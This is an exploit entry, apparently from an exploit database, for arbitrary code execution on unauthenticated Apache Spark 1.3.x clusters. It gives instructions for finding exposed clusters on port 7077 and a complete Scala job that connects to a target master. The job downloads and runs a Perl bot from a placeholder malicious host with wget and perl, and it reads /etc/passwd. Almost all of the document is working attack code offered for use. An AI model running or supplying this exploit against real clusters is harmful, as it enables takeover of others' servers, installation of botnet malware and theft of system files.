Apache Spark Cluster 1.3.x – Arbitrary Code Execution
# Exploit Title: Arbitary Code Execution in Apache Spark Cluster # Date: 23/03/2015 # Exploit Author: AkhlD (AkhilDas) <akhld@live.com> CodeBreach.in # Vendor Homepage: https://spark.apache.org/ # Software Link: https://spark.apache.org/downloads.html # Version: All (0.0.x, 1.1.x, 1.2.x, 1.3.x) # Tested on: 1.2.1 # Credits: Mayur Rustagi (@mayur_rustagi), Patrick Wendel (@pwendell) for reviewing. # Reference(s) : http://codebreach.in/blog/2015/03/arbitary-code-execution-in-unsecured-apache-spark-cluster/ # Exploit URL : https://github.com/akhld/spark-exploit/ # Spark clusters which are not secured with proper firewall can be taken over easily (Since it does not have # any authentication mechanism), this exploit simply runs arbitarty codes over the cluster. # All you have to do is, find a vulnerable Spark cluster (usually runs on port 7077) add that host to your # hosts list so that your system will recognize it (here its spark-b-akhil-master pointing # to 54.155.61.87 in my /etc/hosts) and submit your Spark Job with arbitary codes that you want to execute. # Language: Scala import org.apache.spark.{SparkContext, SparkConf} /** * Created by akhld on 23/3/15. */ object Exploit { def main(arg: Array[String]) { val sconf = new SparkConf() .setMaster("spark://spark-b-akhil-master:7077") // Set this to the vulnerable host URI .setAppName("Exploit") .set("spark.cores.max", "2") .set("spark.executor.memory", "2g") .set("spark.driver.host","hacked.work") // Set this to your host from where you launch the attack val sc = new SparkContext(sconf) sc.addJar("target/scala-2.10/spark-exploit_2.10-1.0.jar") val exploit = sc.parallelize(1 to 1).map(x=>{ //Replace these with whatever you want to get executed val x = "wget https://mallicioushost/mal.pl -O bot.pl".! val y = "perl bot.pl".! scala.io.Source.fromFile("/etc/passwd").mkString }) exploit.collect().foreach(println) } } Thanks Best Regards |